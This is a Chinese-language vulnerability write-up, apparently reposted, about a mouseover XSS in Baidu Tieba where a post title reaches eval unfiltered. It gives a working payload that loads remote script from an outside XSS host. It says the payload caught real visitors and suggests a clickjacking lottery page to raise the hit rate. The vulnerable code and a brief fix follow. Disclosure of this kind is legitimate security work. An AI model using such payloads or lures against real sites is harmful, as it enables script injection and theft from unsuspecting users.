好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

百度贴吧贴内一处Mouseover XSS利用 - 网站安全 - 自

贴内一处操作,对数据未过滤,导致产生一处XSS,需要鼠标从上面经过才能触发,可结合clickjacking之类的使用。

 

 

标题为:"。。生蛋啦~ '

 

2. 打开工具,对 [生蛋啦] 这三个字进行监视。

 

 

 

3. 刷新页面,并没有发现什么结果,但是当鼠标不小心移动到【分享到】按钮时,报告了一个,如下图:

 

 

 

4. 从上图,我们不难看出,【标题】被作为 data 属性存储,并且通过getAttribute的方式读取,未过滤就传入eval中执行。

 

5. 这样一来,我们就很容易构造代码了。

 

发表一帖子,标题如下:

 

',a:$.getScript('//xsser.me/Bqp9Ry'),a:'

 

即最后被传入eval的数据变为:

 

被eval的数据

({title:'分享到',wbuid:1673450172, text:'',a:$.getScript('//xsser.me/Bqp9Ry'),a:''})

 

 

6. 我自己的个人贴吧,没什么人访问。且要mou seo ver上去是有概率的,不过还是有中招的。

 

 

 

7. 如果要增大这个的命中率, 可以做一个抽奖页面,搞个大按钮,然后把贴吧的页面 iframe 下,做个clickjacking。 当别人鼠标移到【抽奖】按钮上时,即可触发。具体代码不表。

 

修复方案:

缺陷代码部分:

function (e){pos=base.getposition(a);custom=(b.getattribute("data")&&b.getattribute("data")!="")?eval("("+b.getattribute("data")+")"):"";base.setattr(p,"display:"+v);base.setattr(p,"left:"+(((base.getsize().w-e.clientx)<p.offsetwidth)?(pos.l-p.offsetwidth+a.offsetwidth):pos.l)+"px");base.setattr(p,"top:"+(((base.getsize().h-e.clienty)<p.offsetheight)?(pos.t-p.offsetheight):pos.t+a.offsetheight)+"px");base.setattr(m,"display:"+v+";width:"+p.offsetwidth+"px;height:"+p.offsetheight+"px;left:"+p.style.left+";top:"+p.style.top)}

 

 

在eval之前,将b.getattribute("data")的值判断过滤下?

查看更多关于百度贴吧贴内一处Mouseover XSS利用 - 网站安全 - 自的详细内容...

  阅读:46次